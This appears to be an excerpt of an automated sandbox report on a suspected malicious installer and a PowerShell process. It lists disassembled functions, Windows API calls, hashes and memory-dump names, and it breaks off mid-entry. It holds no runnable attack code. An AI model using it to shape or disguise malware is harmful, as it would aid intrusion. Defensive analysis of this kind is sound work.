Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: powershell.exePID: 8112, Parent PID: 7724COMMON

Executed Functions

Function 070C1798 Relevance: 14.6, Strings: 11, Instructions: 822COMMON

Download Yara Rule

Strings

$^q, xrefs: 070C17DC
tP^q, xrefs: 070C1815
4'^q, xrefs: 070C19A5
4'^q, xrefs: 070C1DA6
$^q, xrefs: 070C17AA
tP^q, xrefs: 070C1821
4'^q, xrefs: 070C1999
4'^q, xrefs: 070C1F00
$^q, xrefs: 070C17D0
4'^q, xrefs: 070C1F0A
4'^q, xrefs: 070C1DB0

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-2551064546
Opcode ID: ffa79df423eaa8ef46f62695ea895f9d40b7fadae798a9f815d058c275fdf159
Instruction ID: e62f97268c420cd782c4ffa5008973e0274152c0861e4253ffbcaf4155964547
Opcode Fuzzy Hash: ffa79df423eaa8ef46f62695ea895f9d40b7fadae798a9f815d058c275fdf159
Instruction Fuzzy Hash: 704245F1B0431A9FC715DB69981076EBBE6AFC6310F1486AEE505CB352DB32C845C7A2

Function 04685E10 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03428eb4302736bbeb2887322e657d90c149238407b68e60123e0d9312255078
Instruction ID: 7afa64ad50635ce7f38f318f25093d397503216edcc6be3bf4893de45d1bdf0d
Opcode Fuzzy Hash: 03428eb4302736bbeb2887322e657d90c149238407b68e60123e0d9312255078
Instruction Fuzzy Hash: 31121A74A002199FCB14DF98D584AAEFBB2FF48314F258659E809AB365D735FC81CB90

Function 046848E0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb3805c41d985e4926eb216cc93c2d90bf33db6a58cbf9b8b5ce9bfb142f2a2
Instruction ID: b1ed2a5117f32f77509a236d15d1a9b58229f81cac04166bd9f558f28f748b84
Opcode Fuzzy Hash: 0bb3805c41d985e4926eb216cc93c2d90bf33db6a58cbf9b8b5ce9bfb142f2a2
Instruction Fuzzy Hash: F3416F3590A3D59FCB03EF6CD8604DABFB0AF4721070941D7D494DB2A3D624AD49C7A6

Function 070C1A54 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30e6075ea2bd40ac06166d20548b5f2fbabd32140f9268c8d0bad57ea0658d51
Instruction ID: b9f3432fbccf7a23d04ad59d54200350b8da67081007f4a7ec53c47f41654b6e
Opcode Fuzzy Hash: 30e6075ea2bd40ac06166d20548b5f2fbabd32140f9268c8d0bad57ea0658d51
Instruction Fuzzy Hash: 924117F0B0020A9FCB60DF68C551B7EBBE1AF81350F18825DE9119B253D735D841CBA2

Function 046833C0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f49057ed020a234e62bb0619aae0f2c2ae8a09cd9557e832376375524801d8a8
Instruction ID: 8c87fc1a65a07dde61f488fc35ce30d797951e0262e880f412e0f718df7e25cd
Opcode Fuzzy Hash: f49057ed020a234e62bb0619aae0f2c2ae8a09cd9557e832376375524801d8a8
Instruction Fuzzy Hash: 82415CB0A006058FCB05CF98C5949AEFBB1FF48310B218699D901AB364D336FD91CF90

Function 046833D0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11caa7cdc351d2c43d42e0b6eda8f0e192c0e1243b73dbe8def30c999ebccc04
Instruction ID: 628c66c3c1b7ce5dcedd57c8fe4a98bdc4b654a6f8ec9a2651b6bcde0470b469
Opcode Fuzzy Hash: 11caa7cdc351d2c43d42e0b6eda8f0e192c0e1243b73dbe8def30c999ebccc04
Instruction Fuzzy Hash: 814139B4A006059FCB09DF88C5949AEF7B1FF48710B1186A9D915AB364D736FD90CFA0

Function 04682A50 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b5d3ebe59934b2cb50c309a547446fca0ea38ea87b0057a440facf71150a16
Instruction ID: a5ded7221df340c5a1401c24c777759e15f4064c3e067e8736d78d85ce0115fd
Opcode Fuzzy Hash: e5b5d3ebe59934b2cb50c309a547446fca0ea38ea87b0057a440facf71150a16
Instruction Fuzzy Hash: 86318EB5A042458FCB01CF58C9909AEFBB1FF49310B15869AE448EB3A2C335EC41CBA1

Function 04682A80 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7028c7e28cc5898639662c1ab427af99431519c28feffde20de3a6ed496188a9
Instruction ID: 6f2da4a38096c094406b9e92a83ddddeb05e082508da2bc6e4cae591803b213c
Opcode Fuzzy Hash: 7028c7e28cc5898639662c1ab427af99431519c28feffde20de3a6ed496188a9
Instruction Fuzzy Hash: 882128B4A002059FCB00DF59C9909AAFBB1FF4C310B2585AAE519E7361D735FC41CBA0

Function 046848D0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283487599.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de43a89c0237d1d1c97ddb01aa069dffdc93e1051ef5a796aa00b5aef0046401
Instruction ID: 8fc16cc117803c6f246ada700c730d20dc68509d1a8e3a793f10a31daa72f4e4
Opcode Fuzzy Hash: de43a89c0237d1d1c97ddb01aa069dffdc93e1051ef5a796aa00b5aef0046401
Instruction Fuzzy Hash: 10211D74A0424A8FCB00DF99D4809AEFBF5FF89310B148599D909AB352D735FD41CBA1

Function 0453D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283131584.000000000453D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0453D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_453d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afbeca9298bd0727f02e3d86dac96eb6324ef0bf01eed7a01ace3fced6523163
Instruction ID: 80e2d88b3e5ea879257b1a2ca819de9035462f03ca2f4354d60e11ae8250d263
Opcode Fuzzy Hash: afbeca9298bd0727f02e3d86dac96eb6324ef0bf01eed7a01ace3fced6523163
Instruction Fuzzy Hash: 12012B315093009AE7118F26ED84767BFF8FF41725F08C829EC094B146E279E849E6B1

Function 0453D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2283131584.000000000453D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0453D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_453d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebc9be157d269ed10eb5b9f613bd246041e48e876867c1748e788b1525b47c3e
Instruction ID: b0d645280b6d04c1dd9313e5cabc4e053477107e4c41e08d865d9438de64d173
Opcode Fuzzy Hash: ebc9be157d269ed10eb5b9f613bd246041e48e876867c1748e788b1525b47c3e
Instruction Fuzzy Hash: 2001406100E3C09ED7124B259C94B62BFB4EF43625F1984CBD8888F193C2695849D772

Non-executed Functions

Function 070C08A0 Relevance: 9.1, Strings: 7, Instructions: 316COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070C09AE
$^q, xrefs: 070C0A82
tP^q, xrefs: 070C0AED
$^q, xrefs: 070C0AA8
$^q, xrefs: 070C0AB4
4'^q, xrefs: 070C09A2
tP^q, xrefs: 070C0AF9

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: dc9eab2b320244f9d733a993d68a47ae6c1f4b1a2c03684492e3762e2cd85213
Instruction ID: c7154b58953770613b3e5660c233d20611a15018cb326b8083391c5d92f1c2e1
Opcode Fuzzy Hash: dc9eab2b320244f9d733a993d68a47ae6c1f4b1a2c03684492e3762e2cd85213
Instruction Fuzzy Hash: B6A134B2704316CFD765DBA99C1077EBBE5AFC6210F1886AFD445CB292DA32C845C3A1

Function 070C14E8 Relevance: 6.4, Strings: 5, Instructions: 186COMMON

Download Yara Rule

Strings

$^q, xrefs: 070C16A6
$^q, xrefs: 070C166F
$^q, xrefs: 070C169A
4'^q, xrefs: 070C159E
4'^q, xrefs: 070C1592

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: ab161b5beefc277e22d775618ea63593d2bf175170ff852bfedbd587ecce1d31
Instruction ID: f2c1a9f13b1fe50764e990da1e44e9c11439631b52638ba7bbea9b4b4e6f5db1
Opcode Fuzzy Hash: ab161b5beefc277e22d775618ea63593d2bf175170ff852bfedbd587ecce1d31
